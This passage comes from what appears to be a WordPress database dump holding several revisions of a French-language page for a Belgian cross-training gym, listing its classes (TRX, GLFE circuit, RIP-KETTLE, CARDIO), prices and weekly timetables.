:&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:33:05', '2013-06-16 14:33:05', '', 11, 'http://www.crosstrainingcenter.be/?p=124', 0, 'revision', '', 0),
(125, 1, '2013-06-16 14:34:31', '2013-06-16 14:34:31', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\nEn semaine&lt;br&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:34:31', '2013-06-16 14:34:31', '', 11, 'http://www.crosstrainingcenter.be/?p=125', 0, 'revision', '', 0),
(206, 1, '2013-07-03 18:02:08', '2013-07-03 18:02:08', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;\r\nDuo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\n\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\n\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\n\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:02:08', '2013-07-03 18:02:08', '', 11, 'http://www.crosstrainingcenter.be/?p=206', 0, 'revision', '', 0),
(205, 1, '2013-07-03 17:58:05', '2013-07-03 17:58:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n\r\n&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: 